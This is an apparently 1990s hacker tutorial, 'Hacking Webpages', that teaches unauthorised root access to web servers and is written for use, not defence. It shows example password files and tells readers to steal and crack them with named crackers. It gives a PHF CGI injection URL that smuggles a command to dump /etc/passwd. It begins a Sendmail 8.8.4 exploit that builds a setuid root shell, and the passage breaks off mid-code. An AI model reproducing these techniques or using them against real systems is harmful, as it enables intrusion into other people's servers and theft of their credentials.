Hacking Webpages

Hacking Webpages

The Ultimate Guide

By Virtual Circuit and Psychotic

Well Psychotic wrote one of the most helpful unix text files in cyberspace but wi

th the mail that we recieved after the release of our famous 36 page Unix Bible w

e realised that unix isn't for everybody so we decided that we should write on an

other aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "

Hacking Webpages With a few Other Techniques." We will discuss a few various way

s of hacking webpages and getting root. We are also going to interview and quest

ion other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous

ftp access into a webpage. First you need learn a little about the password file.

..

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the par

t that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little differen

ce, it's shadowed. Shadowed password files don't let you view or copy the actual

encrypted password. This causes problems for the password cracker and dictionary

maker(both explained later in the text). Below is another example of a shadowed

password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/

false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they

are disguised as an * as well.

Now that you know a little more about what the actual password file looks like yo

u should be able to identify a normal encrypted pw from a shadowed pw file. We ca

n now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the file

s vary from system to system. 1.The first step that you would take is to download

or copy the file. 2. The second step is to find a password cracker and a diction

ary maker. Although it's nearly impossible to find a good cracker there are a few

ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, B

rute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionar

y file... When you start a cracking prog you will be asked to find the the passw

ord file. That's where a dictionary maker comes in. You can download one from nea

rly every hacker page on the net. A dictionary maker finds all the possible lett

er combinations with the alphabet that you choose(ASCII, caps, lowercase, and num

eric letters may also be added) . We will be releasing our pasword file to the p

ublic soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we

know it will be one of the largest in circulation. 3. You then start up the crack

er and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybod

y already knows it and most servers have already found out about the bug and fixe

d it. But since I have been asked questions about the phf I decided to include it

.

The phf technique is by far the easiest way of getting a password file(although i

t doesn't work 95% of the time). But to do the phf all you do is open a browser a

nd type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get t

he pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complic

ated then hacking through ftp or using the phf. Before you can setup an exploit y

ou must first have a telnet proggie, there are many different clients you can jus

t do a netsearch and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches f

rom the inside out. Exploits expose errors or bugs in systems and usually allow y

ou to gain root access. There are many different exploits around and you can view

each seperately. I’m going to list a few below but the list of exploits is endle

ss.

This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it

up:

cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

...